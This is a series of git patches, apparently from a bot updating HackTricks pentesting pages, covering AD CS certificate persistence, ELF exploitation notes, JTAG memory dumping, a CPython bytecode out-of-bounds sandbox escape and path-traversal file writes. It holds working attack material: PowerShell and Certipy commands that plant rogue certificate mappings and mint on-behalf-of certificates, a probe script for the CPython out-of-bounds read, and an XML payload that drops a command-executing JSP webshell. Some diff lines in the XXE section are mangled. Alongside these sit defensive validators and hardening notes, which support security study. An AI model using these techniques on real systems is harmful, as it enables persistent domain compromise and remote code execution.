[reusekeys] +``` -Starting with **Certify 2.0** the renewal workflow is fully automated through the new `request-renew` command. Given a previously issued certificate (in **base-64 PKCS#12** format) an attacker can renew it without interacting with the original owner – perfect for stealthy, long-term persistence: +> Operational tip: Track lifetimes on attacker-held PFX files and renew early. Renewal can also cause updated certificates to include the modern SID mapping extension, keeping them usable under stricter DC mapping rules (see next section). + +## Planting Explicit Certificate Mappings (altSecurityIdentities) – PERSIST4 + +If you can write to a target account’s `altSecurityIdentities` attribute, you can explicitly map an attacker-controlled certificate to that account. This persists across password changes and, when using strong mapping formats, remains functional under modern DC enforcement. + +High-level flow: + +1. Obtain or issue a client-auth certificate you control (e.g., enroll `User` template as yourself). +2. Extract a strong identifier from the cert (Issuer+Serial, SKI, or SHA1-PublicKey). +3. Add an explicit mapping on the victim principal’s `altSecurityIdentities` using that identifier. +4. Authenticate with your certificate; the DC maps it to the victim via the explicit mapping. + +Example (PowerShell) using a strong Issuer+Serial mapping: ```powershell -Certify.exe request-renew --ca SERVER\\CA-NAME \ - --cert-pfx MIACAQMwgAYJKoZIhvcNAQcBoIAkgA... # original PFX +# Example values - reverse the issuer DN and serial as required by AD mapping format +$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' +$SerialR = '1200000000AC11000000002B' # reversed byte order of the serial +$Map = "X509:$Issuer$SerialR" + +# Add mapping to victim. Requires rights to write altSecurityIdentities on the object +Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map} ``` -The command will return a fresh PFX that is valid for another full lifetime period, allowing you to keep authenticating even after the first certificate expires or is revoked. +Then authenticate with your PFX. Certipy will obtain a TGT directly: +```bash +certipy auth -pfx attacker_user.pfx -dc-ip 10.0.0.10 +``` + +Notes +- Use strong mapping types only: X509IssuerSerialNumber, X509SKI, or X509SHA1PublicKey. Weak formats (Subject/Issuer, Subject-only, RFC822 email) are deprecated and can be blocked by DC policy. +- The cert chain must build to a root trusted by the DC. Enterprise CAs in NTAuth are typically trusted; some environments also trust public CAs. + +For more on weak explicit mappings and attack paths, see: + +{{#ref}} +domain-escalation.md +{{#endref}} + +## Enrollment Agent as Persistence – PERSIST5 + +If you obtain a valid Certificate Request Agent/Enrollment Agent certificate, you can mint new logon-capable certificates on behalf of users at will and keep the agent PFX offline as a persistence token. Abuse workflow: + +```bash +# Request an Enrollment Agent cert (requires template rights) +Certify.exe request /ca:CA-SERVER\CA-NAME /template:"Certificate Request Agent" + +# Mint a user cert on behalf of another principal using the agent PFX +Certify.exe request /ca:CA-SERVER\CA-NAME /template:User \ + /onbehalfof:CORP\\victim /enrollcert:C:\Temp\agent.pfx /enrollcertpw:AgentPfxPass + +# Or with Certipy +certipy req -u 'john@corp.local' -p 'Passw0rd!' -ca 'CA-SERVER\CA-NAME' \ + -template 'User' -on-behalf-of 'CORP/victim' -pfx agent.pfx -out victim_onbo.pfx +``` + +Revocation of the agent certificate or template permissions is required to evict this persistence. + +## 2025 Strong Certificate Mapping Enforcement: Impact on Persistence + +Microsoft KB5014754 introduced Strong Certificate Mapping Enforcement on domain controllers. Since February 11, 2025, DCs default to Full Enforcement, rejecting weak/ambiguous mappings. Practical implications: + +- Pre-2022 certificates that lack the SID mapping extension may fail implicit mapping when DCs are in Full Enforcement. Attackers can maintain access by either renewing certificates through AD CS (to obtain the SID extension) or by planting a strong explicit mapping in `altSecurityIdentities` (PERSIST4). +- Explicit mappings using strong formats (Issuer+Serial, SKI, SHA1-PublicKey) continue to work. Weak formats (Issuer/Subject, Subject-only, RFC822) can be blocked and should be avoided for persistence. + +Administrators should monitor and alert on: +- Changes to `altSecurityIdentities` and issuance/renewals of Enrollment Agent and User certificates. +- CA issuance logs for on-behalf-of requests and unusual renewal patterns. ## References -- [Certify 2.0 – SpecterOps Blog](https://specterops.io/blog/2025/08/11/certify-2-0/) +- Microsoft. KB5014754: Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). + https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 +- Certipy Wiki – Command Reference (`req -renew`, `auth`, `shadow`). + https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference {{#include ../../../banners/hacktricks-training.md}} - - - From d11409018ba936d01b4933c611a364a3ce78e891 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Fri, 15 Aug 2025 08:44:45 +0000 Subject: [PATCH 05/12] Add content from: Research Update: Enhanced src/binary-exploitation/basic-stac... --- .../elf-tricks.md | 100 +++++++++++++++++- 1 file changed, 96 insertions(+), 4 deletions(-) diff --git a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md index 36a30991e..0df3552a1 100644 --- a/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md +++ b/src/binary-exploitation/basic-stack-binary-exploitation-methodology/elf-tricks.md @@ -49,6 +49,8 @@ Contains the program header tables and metadata itself. Indicates the path of the loader to use to load the binary into memory. +> Tip: Statically linked or static-PIE binaries won’t have an `INTERP` entry. In those cases there is no dynamic loader involved, which disables techniques that rely on it (e.g., `ret2dlresolve`). + ### LOAD These headers are used to indicate **how to load a binary into memory.**\ @@ -64,6 +66,12 @@ This header helps to link programs to their library dependencies and apply reloc This stores vendor metadata information about the binary. +- On x86-64, `readelf -n` will show `GNU_PROPERTY_X86_FEATURE_1_*` flags inside `.note.gnu.property`. If you see `IBT` and/or `SHSTK`, the binary was built with CET (Indirect Branch Tracking and/or Shadow Stack). This impacts ROP/JOP because indirect branch targets must start with an `ENDBR64` instruction and returns are checked against a shadow stack. See the CET page for details and bypass notes. + +{{#ref}} +../common-binary-protections-and-bypasses/cet-and-shadow-stack.md +{{#endref}} + ### GNU_EH_FRAME Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions. @@ -72,6 +80,8 @@ Defines the location of the stack unwind tables, used by debuggers and C++ excep Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack. +- Check with `readelf -l ./bin | grep GNU_STACK`. To forcibly toggle it during tests you can use `execstack -s|-c ./bin`. + ### GNU_RELRO Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running. @@ -80,6 +90,12 @@ In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecti Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched. +> For exploitation techniques and up-to-date bypass notes, check the dedicated page: + +{{#ref}} +../common-binary-protections-and-bypasses/relro.md +{{#endref}} + ### TLS Defines a table of TLS entries, which stores info about thread-local variables. @@ -200,6 +216,10 @@ Each symbol entry contains: - **Value** (address sin memory) - **Size** +#### GNU Symbol Versioning (dynsym/dynstr/gnu.version) + +Modern glibc uses symbol versions. You will see entries in `.gnu.version` and `.gnu.version_r` and symbol names like `strlen@GLIBC_2.17`. The dynamic linker can require a specific version when resolving a symbol. When crafting manual relocations (e.g. ret2dlresolve) you must supply the correct version index, otherwise resolution fails. + ## Dynamic Section ``` @@ -239,6 +259,23 @@ Dynamic section at offset 0xfc58 contains 28 entries: The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use. +### Dynamic loader search order (RPATH/RUNPATH, $ORIGIN) + +The entries `DT_RPATH` (deprecated) and/or `DT_RUNPATH` influence where the dynamic loader searches for dependencies. Rough order: + +- `LD_LIBRARY_PATH` (ignored for setuid/sgid or otherwise "secure-execution" programs) +- `DT_RPATH` (only if `DT_RUNPATH` absent) +- `DT_RUNPATH` +- `ld.so.cache` +- default directories like `/lib64`, `/usr/lib64`, etc. + +`$ORIGIN` can be used inside RPATH/RUNPATH to refer to the directory of the main object. From an attacker perspective this matters when you control the filesystem layout or environment. For hardened binaries (AT_SECURE) most environment variables are ignored by the loader. + +- Inspect with: `readelf -d ./bin | egrep -i 'r(path|unpath)'` +- Quick test: `LD_DEBUG=libs ./bin 2>&1 | grep -i find` (shows search path decisions) + +> Priv-esc tip: Prefer abusing writable RUNPATHs or misconfigured `$ORIGIN`-relative paths owned by you. LD_PRELOAD/LD_AUDIT are ignored in secure-execution (setuid) contexts. + ## Relocations The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ. @@ -283,7 +320,6 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries: 00000001fea0 000900000402 R_AARCH64_JUMP_SL 0000000000000000 perror@GLIBC_2.17 + 0 00000001fea8 000b00000402 R_AARCH64_JUMP_SL 0000000000000000 __cxa_finalize@GLIBC_2.17 + 0 00000001feb0 000c00000402 R_AARCH64_JUMP_SL 0000000000000000 putc@GLIBC_2.17 + 0 -00000001feb8 000d00000402 R_AARCH64_JUMP_SL 0000000000000000 opendir@GLIBC_2.17 + 0 00000001fec0 000e00000402 R_AARCH64_JUMP_SL 0000000000000000 fputc@GLIBC_2.17 + 0 00000001fec8 001100000402 R_AARCH64_JUMP_SL 0000000000000000 snprintf@GLIBC_2.17 + 0 00000001fed0 001200000402 R_AARCH64_JUMP_SL 0000000000000000 __snprintf_chk@GLIBC_2.17 + 0 @@ -332,6 +368,24 @@ The PLT section allows to perform lazy binding, which means that the resolution So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code. +#### Modern linking behaviors that impact exploitation + +- `-z now` (Full RELRO) disables lazy binding; PLT entries still exist but GOT/PLT is mapped read-only, so techniques like **GOT overwrite** and **ret2dlresolve** won’t work against the main binary (libraries may still be partially RELRO). See: + + {{#ref}} + ../common-binary-protections-and-bypasses/relro.md + {{#endref}} + +- `-fno-plt` makes the compiler call external functions through the **GOT entry directly** instead of going through the PLT stub. You will see call sequences like `mov reg, [got]; call reg` instead of `call func@plt`. This reduces speculative-execution abuse and slightly changes ROP gadget hunting around PLT stubs. + +- PIE vs static-PIE: PIE (ET_DYN with `INTERP`) needs the dynamic loader and supports the usual PLT/GOT machinery. Static-PIE (ET_DYN without `INTERP`) has relocations applied by the kernel loader and no `ld.so`; expect no PLT resolution at runtime. + +> If GOT/PLT is not an option, pivot to other writeable code-pointers or use classic ROP/SROP into libc. + +{{#ref}} +../arbitrary-write-2-exec/aw2exec-got-plt.md +{{#endref}} + ## Program Initialization After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in: @@ -372,6 +426,16 @@ The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** an Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers. +#### Exploitation note + +- Under Partial RELRO these arrays live in pages that are still writable before `ld.so` flips `PT_GNU_RELRO` to read-only. If you get an arbitrary write early enough or you can target a library’s writable arrays, you can hijack control flow by overwriting an entry with a function of your choice. Under Full RELRO they are read-only at runtime. + +- For lazy binding abuse of the dynamic linker to resolve arbitrary symbols at runtime, see the dedicated page: + +{{#ref}} +../rop-return-oriented-programing/ret2dlresolve.md +{{#endref}} + ### Initialization Order 1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**. @@ -393,7 +457,35 @@ Each variable will hace an entry in the TLS header specifying the size and the T The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module. +## Auxiliary Vector (auxv) and vDSO + +The Linux kernel passes an auxiliary vector to processes containing useful addresses and flags for the runtime: + +- `AT_RANDOM`: points to 16 random bytes used by glibc for the stack canary and other PRNG seeds. +- `AT_SYSINFO_EHDR`: base address of the vDSO mapping (handy to find `__kernel_*` syscalls and gadgets). +- `AT_EXECFN`, `AT_BASE`, `AT_PAGESZ`, etc. + +As an attacker, if you can read memory or files under `/proc`, you can often leak these without an infoleak in the target process: + +```bash +# Show the auxv of a running process +cat /proc/$(pidof target)/auxv | xxd + +# From your own process (helper snippet) +#include +#include +int main(){ + printf("AT_RANDOM=%p\n", (void*)getauxval(AT_RANDOM)); + printf("AT_SYSINFO_EHDR=%p\n", (void*)getauxval(AT_SYSINFO_EHDR)); +} +``` + +Leaking `AT_RANDOM` gives you the canary value if you can dereference that pointer; `AT_SYSINFO_EHDR` gives you a vDSO base to mine for gadgets or to call fast syscalls directly. + + + +## References + +- ld.so(8) – Dynamic Loader search order, RPATH/RUNPATH, secure-execution rules (AT_SECURE): https://man7.org/linux/man-pages/man8/ld.so.8.html +- getauxval(3) – Auxiliary vector and AT_* constants: https://man7.org/linux/man-pages/man3/getauxval.3.html {{#include ../../banners/hacktricks-training.md}} - - - From 225a883a2e7f639c95385e41684df01fc1fb58a8 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 16 Aug 2025 01:40:34 +0000 Subject: [PATCH 06/12] Add content from: Research Update: Enhanced src/todo/hardware-hacking/jtag.md --- src/todo/hardware-hacking/jtag.md | 112 ++++++++++++++++++++++++++---- 1 file changed, 98 insertions(+), 14 deletions(-) diff --git a/src/todo/hardware-hacking/jtag.md b/src/todo/hardware-hacking/jtag.md index 1e28c9127..58cbbee4f 100644 --- a/src/todo/hardware-hacking/jtag.md +++ b/src/todo/hardware-hacking/jtag.md @@ -2,28 +2,112 @@ {{#include ../../banners/hacktricks-training.md}} +{{#ref}} +README.md +{{#endref}} + ## JTAGenum -[**JTAGenum** ](https://github.com/cyphunk/JTAGenum)is a tool can be used with a Raspberry PI or an Arduino to find to try JTAG pins from an unknown chip.\ -In the **Arduino**, connect the **pins from 2 to 11 to 10pins potentially belonging to a JTAG**. Load the program in the Arduino and it will try to bruteforce all the pins to find if any pins belongs to JTAG and which one is each.\ -In the **Raspberry PI** you can only use **pins from 1 to 6** (6pins, so you will go slower testing each potential JTAG pin). +[**JTAGenum**](https://github.com/cyphunk/JTAGenum) is a tool you can load on an Arduino-compatible MCU or (experimentally) a Raspberry Pi to brute‑force unknown JTAG pinouts and even enumerate instruction registers. -### Arduino +- Arduino: connect digital pins D2–D11 to up to 10 suspected JTAG pads/testpoints, and Arduino GND to target GND. Power the target separately unless you know the rail is safe. Prefer 3.3 V logic (e.g., Arduino Due) or use a level shifter/series resistors when probing 1.8–3.3 V targets. +- Raspberry Pi: the Pi build exposes fewer usable GPIOs (so scans are slower); check the repo for the current pin map and constraints. -In Arduino, after connecting the cables (pin 2 to 11 to JTAG pins and Arduino GND to the baseboard GND), **load the JTAGenum program in Arduino** and in the Serial Monitor send a **`h`** (command for help) and you should see the help: +Once flashed, open the serial monitor at 115200 baud and send `h` for help. Typical flow: -![](<../../images/image (939).png>) +- `l` find loopbacks to avoid false positives +- `r` toggle internal pull‑ups if needed +- `s` scan for TCK/TMS/TDI/TDO (and sometimes TRST/SRST) +- `y` brute‑force IR to discover undocumented opcodes +- `x` boundary‑scan snapshot of pin states -![](<../../images/image (578).png>) +If a valid TAP is found you will see lines starting with `FOUND!` indicating discovered pins. -Configure **"No line ending" and 115200baud**.\ -Send the command s to start scanning: +Tips +- Always share ground, and never drive unknown pins above target Vtref. If in doubt, add 100–470 Ω series resistors on candidate pins. +- If the device uses SWD/SWJ instead of 4‑wire JTAG, JTAGenum may not detect it; try SWD tools or an adapter that supports SWJ‑DP. -![](<../../images/image (774).png>) +## Safer pin hunting and hardware setup -If you are contacting a JTAG, you will find one or several **lines starting by FOUND!** indicating the pins of JTAG. +- Identify Vtref and GND first with a multimeter. Many adapters need Vtref to set I/O voltage. +- Level shifting: prefer bidirectional level shifters designed for push‑pull signals (JTAG lines are not open‑drain). Avoid auto‑direction I2C shifters for JTAG. +- Useful adapters: FT2232H/FT232H boards (e.g., Tigard), CMSIS‑DAP, J‑Link, ST‑LINK (vendor‑specific), ESP‑USB‑JTAG (on ESP32‑Sx). Connect at minimum TCK, TMS, TDI, TDO, GND and Vtref; optionally TRST and SRST. + +## First contact with OpenOCD (scan and IDCODE) + +OpenOCD is the de‑facto OSS for JTAG/SWD. With a supported adapter you can scan the chain and read IDCODEs: + +- Generic example with a J‑Link: +``` +openocd -f interface/jlink.cfg -c "transport select jtag; adapter speed 1000" \ + -c "init; scan_chain; shutdown" +``` +- ESP32‑S3 built‑in USB‑JTAG (no external probe required): +``` +openocd -f board/esp32s3-builtin.cfg -c "init; scan_chain; shutdown" +``` +Notes +- If you get "all ones/zeros" IDCODE, check wiring, power, Vtref, and that the port isn’t locked by fuses/option bytes. +- See OpenOCD low‑level `irscan`/`drscan` for manual TAP interaction when bringing up unknown chains. + +## Halting the CPU and dumping memory/flash + +Once the TAP is recognized and a target script is chosen, you can halt the core and dump memory regions or internal flash. Examples (adjust target, base addresses and sizes): + +- Generic target after init: +``` +openocd -f interface/jlink.cfg -f target/stm32f1x.cfg \ + -c "init; reset halt; mdw 0x08000000 4; dump_image flash.bin 0x08000000 0x00100000; shutdown" +``` +- RISC‑V SoC (prefer SBA when available): +``` +openocd -f interface/ftdi/ft232h.cfg -f target/riscv.cfg \ + -c "init; riscv set_prefer_sba on; halt; dump_image sram.bin 0x80000000 0x20000; shutdown" +``` +- ESP32‑S3, program or read via OpenOCD helper: +``` +openocd -f board/esp32s3-builtin.cfg \ + -c "program_esp app.bin 0x10000 verify exit" +``` + +Tips +- Use `mdw/mdh/mdb` to sanity‑check memory before long dumps. +- For multi‑device chains, set BYPASS on non‑targets or use a board file that defines all TAPs. + +## Boundary‑scan tricks (EXTEST/SAMPLE) + +Even when the CPU debug access is locked, boundary‑scan may still be exposed. With UrJTAG/OpenOCD you can: +- SAMPLE to snapshot pin states while the system runs (find bus activity, confirm pin mapping). +- EXTEST to drive pins (e.g., bit‑bang external SPI flash lines via the MCU to read it offline if board wiring allows). + +Minimal UrJTAG flow with an FT2232x adapter: +``` +jtag> cable ft2232 vid=0x0403 pid=0x6010 interface=1 +jtag> frequency 100000 +jtag> detect +jtag> bsdl path /path/to/bsdl/files +jtag> instruction EXTEST +jtag> shift ir +jtag> dr +``` +You need the device BSDL to know boundary register bit ordering. Beware that some vendors lock boundary‑scan cells in production. + +## Modern targets and notes + +- ESP32‑S3/C3 include a native USB‑JTAG bridge; OpenOCD can speak directly over USB without an external probe. Very convenient for triage and dumps. +- RISC‑V debug (v0.13+) is widely supported by OpenOCD; prefer SBA for memory access when the core cannot be halted safely. +- Many MCUs implement debug authentication and lifecycle states. If JTAG appears dead but power is correct, the device may be fused to a closed state or requires an authenticated probe. + +## Defenses and hardening (what to expect on real devices) + +- Permanently disable or lock JTAG/SWD in production (e.g., STM32 RDP level 2, ESP eFuses that disable PAD JTAG, NXP/Nordic APPROTECT/DPAP). +- Require authenticated debug (ARMv8.2‑A ADIv6 Debug Authentication, OEM‑managed challenge‑response) while keeping manufacturing access. +- Don’t route easy test pads; bury test vias, remove/populate resistors to isolate TAP, use connectors with keying or pogo‑pin fixtures. +- Power‑on debug lock: gate the TAP behind early ROM enforcing secure boot. + +## References + +- OpenOCD User’s Guide – JTAG Commands and configuration. https://openocd.org/doc-release/html/JTAG-Commands.html +- Espressif ESP32‑S3 JTAG debugging (USB‑JTAG, OpenOCD usage). https://docs.espressif.com/projects/esp-idf/en/latest/esp32s3/api-guides/jtag-debugging/ {{#include ../../banners/hacktricks-training.md}} - - - From d05478fc7b96a93d913ea11f467db469aeab7da1 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 16 Aug 2025 08:28:32 +0000 Subject: [PATCH 07/12] Add content from: Research Update: Enhanced src/generic-methodologies-and-reso... --- .../load_name-load_const-opcode-oob-read.md | 124 +++++++++++++++++- 1 file changed, 121 insertions(+), 3 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md index 86dd712d3..3a002b517 100644 --- a/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md +++ b/src/generic-methodologies-and-resources/python/bypass-python-sandboxes/load_name-load_const-opcode-oob-read.md @@ -234,7 +234,125 @@ builtins = getattr( builtins['eval'](builtins['input']()) ``` +--- + +### Version notes and affected opcodes (Python 3.11–3.13) + +- CPython bytecode opcodes still index into `co_consts` and `co_names` tuples by integer operands. If an attacker can force these tuples to be empty (or smaller than the maximum index used by the bytecode), the interpreter will read out-of-bounds memory for that index, yielding an arbitrary PyObject pointer from nearby memory. Relevant opcodes include at least: + - `LOAD_CONST consti` → reads `co_consts[consti]`. + - `LOAD_NAME namei`, `STORE_NAME`, `DELETE_NAME`, `LOAD_GLOBAL`, `STORE_GLOBAL`, `IMPORT_NAME`, `IMPORT_FROM`, `LOAD_ATTR`, `STORE_ATTR` → read names from `co_names[...]` (for 3.11+ note `LOAD_ATTR`/`LOAD_GLOBAL` store flag bits in the low bit; the actual index is `namei >> 1`). See the disassembler docs for exact semantics per version. [Python dis docs]. +- Python 3.11+ introduced adaptive/inline caches that add hidden `CACHE` entries between instructions. This doesn’t change the OOB primitive; it only means that if you handcraft bytecode, you must account for those cache entries when building `co_code`. + +Practical implication: the technique in this page continues to work on CPython 3.11, 3.12 and 3.13 when you can control a code object (e.g., via `CodeType.replace(...)`) and shrink `co_consts`/`co_names`. + +### Quick scanner for useful OOB indexes (3.11+/3.12+ compatible) + +If you prefer to probe for interesting objects directly from bytecode rather than from high-level source, you can generate minimal code objects and brute force indices. The helper below automatically inserts inline caches when needed. + +```python +import dis, types + +def assemble(ops): + # ops: list of (opname, arg) pairs + cache = bytes([dis.opmap.get("CACHE", 0), 0]) + out = bytearray() + for op, arg in ops: + opc = dis.opmap[op] + out += bytes([opc, arg]) + # Python >=3.11 inserts per-opcode inline cache entries + ncache = getattr(dis, "_inline_cache_entries", {}).get(opc, 0) + out += cache * ncache + return bytes(out) + +# Reuse an existing function's code layout to simplify CodeType construction +base = (lambda: None).__code__ + +# Example: probe co_consts[i] with LOAD_CONST i and return it +# co_consts/co_names are intentionally empty so LOAD_* goes OOB + +def probe_const(i): + code = assemble([ + ("RESUME", 0), # 3.11+ + ("LOAD_CONST", i), + ("RETURN_VALUE", 0), + ]) + c = base.replace(co_code=code, co_consts=(), co_names=()) + try: + return eval(c) + except Exception: + return None + +for idx in range(0, 300): + obj = probe_const(idx) + if obj is not None: + print(idx, type(obj), repr(obj)[:80]) +``` + +Notes +- To probe names instead, swap `LOAD_CONST` for `LOAD_NAME`/`LOAD_GLOBAL`/`LOAD_ATTR` and adjust your stack usage accordingly. +- Use `EXTENDED_ARG` or multiple bytes of `arg` to reach indexes >255 if needed. When building with `dis` as above, you only control the low byte; for larger indexes, construct the raw bytes yourself or split the attack across multiple loads. + +### Minimal bytecode-only RCE pattern (co_consts OOB → builtins → eval/input) + +Once you have identified a `co_consts` index that resolves to the builtins module, you can reconstruct `eval(input())` without any `co_names` by manipulating the stack: + +```python +# Build co_code that: +# 1) LOAD_CONST → push builtins module +# 2) Use stack shuffles and BUILD_TUPLE/UNPACK_EX to peel strings like 'input'/'eval' +# out of objects living nearby in memory (e.g., from method tables), +# 3) BINARY_SUBSCR to do builtins["input"] / builtins["eval"], CALL each, and RETURN_VALUE +# This pattern is the same idea as the high-level exploit above, but expressed in raw bytecode. +``` + +This approach is useful in challenges that give you direct control over `co_code` while forcing `co_consts=()` and `co_names=()` (e.g., BCTF 2024 “awpcode”). It avoids source-level tricks and keeps payload size small by leveraging bytecode stack ops and tuple builders. + +### Defensive checks and mitigations for sandboxes + +If you are writing a Python “sandbox” that compiles/evaluates untrusted code or manipulates code objects, do not rely on CPython to bounds-check tuple indexes used by bytecode. Instead, validate code objects yourself before executing them. + +Practical validator (rejects OOB access to co_consts/co_names) + +```python +import dis + +def max_name_index(code): + max_idx = -1 + for ins in dis.get_instructions(code): + if ins.opname in {"LOAD_NAME","STORE_NAME","DELETE_NAME","IMPORT_NAME", + "IMPORT_FROM","STORE_ATTR","LOAD_ATTR","LOAD_GLOBAL","DELETE_GLOBAL"}: + namei = ins.arg or 0 + # 3.11+: LOAD_ATTR/LOAD_GLOBAL encode flags in the low bit + if ins.opname in {"LOAD_ATTR","LOAD_GLOBAL"}: + namei >>= 1 + max_idx = max(max_idx, namei) + return max_idx + +def max_const_index(code): + return max([ins.arg for ins in dis.get_instructions(code) + if ins.opname == "LOAD_CONST"] + [-1]) + +def validate_code_object(code: type((lambda:0).__code__)): + if max_const_index(code) >= len(code.co_consts): + raise ValueError("Bytecode refers to const index beyond co_consts length") + if max_name_index(code) >= len(code.co_names): + raise ValueError("Bytecode refers to name index beyond co_names length") + +# Example use in a sandbox: +# src = input(); c = compile(src, '', 'exec') +# c = c.replace(co_consts=(), co_names=()) # if you really need this, validate first +# validate_code_object(c) +# eval(c, {'__builtins__': {}}) +``` + +Additional mitigation ideas +- Don’t allow arbitrary `CodeType.replace(...)` on untrusted input, or add strict structural checks on the resulting code object. +- Consider running untrusted code in a separate process with OS-level sandboxing (seccomp, job objects, containers) instead of relying on CPython semantics. + + + +## References + +- Splitline’s HITCON CTF 2022 writeup “V O I D” (origin of this technique and high-level exploit chain): https://blog.splitline.tw/hitcon-ctf-2022/ +- Python disassembler docs (indices semantics for LOAD_CONST/LOAD_NAME/etc., and 3.11+ `LOAD_ATTR`/`LOAD_GLOBAL` low-bit flags): https://docs.python.org/3.13/library/dis.html {{#include ../../../banners/hacktricks-training.md}} - - - From 5d3a70fc017b6541777e64972f1cb9243c43a297 Mon Sep 17 00:00:00 2001 From: HackTricks News Bot Date: Sat, 16 Aug 2025 12:42:17 +0000 Subject: [PATCH 08/12] Add content from: From Support Ticket to Zero Day --- src/pentesting-web/file-inclusion/README.md | 52 ++++++++++++++++++- .../xxe-xee-xml-external-entity.md | 38 ++++++++++++-- 2 files changed, 85 insertions(+), 5 deletions(-) diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index bb70a0832..8aa38e9a1 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -478,7 +478,55 @@ For the technical details check the mentioned post! ## LFI2RCE -### Remote File Inclusion +### Arbitrary File Write via Path Traversal (Webshell RCE) + +When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. + +Typical exploitation workflow: +- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). +- Determine web-exposed directories. Common examples: + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. +- Browse to the dropped payload and execute commands. + +Notes: +- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. +- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. + +Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): + +```xml + + + + + ../../../webapps/ROOT/shell.jsp + + + <% + String c = request.getParameter("cmd"); + if (c != null) { + Process p = Runtime.getRuntime().exec(c); + try (var in = p.getInputStream(); var out = response.getOutputStream()) { + in.transferTo(out); + } + } + %> + ]]> + + + +``` + +Hardening that defeats this class of bugs: +- Resolve to a canonical path and enforce it is a descendant of an allow-listed base directory. +- Reject any path containing `..`, absolute roots, or drive letters; prefer generated filenames. +- Run the writer as a low-privileged account and segregate write directories from served roots. + +## Remote File Inclusion Explained previously, [**follow this link**](#remote-file-inclusion). @@ -689,6 +737,8 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) +- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/) +- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/xxe-xee-xml-external-entity.md b/src/pentesting-web/xxe-xee-xml-external-entity.md index 3cf80f0fb..70af16266 100644 --- a/src/pentesting-web/xxe-xee-xml-external-entity.md +++ b/src/pentesting-web/xxe-xee-xml-external-entity.md @@ -77,7 +77,7 @@ In **Java** based applications it might be possible to **list the contents of a ```xml -]>&xxe; +&xxe; ]>&xxe; @@ -168,7 +168,7 @@ _**Please notice that external DTD allows us to include one entity inside the se ### **Error Based (system DTD)** -So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)?. +So what about blind XXE vulnerabilities when **out-of-band interactions are blocked** (external connections aren't available)? A loophole in the XML language specification can **expose sensitive data through error messages when a document's DTD blends internal and external declarations**. 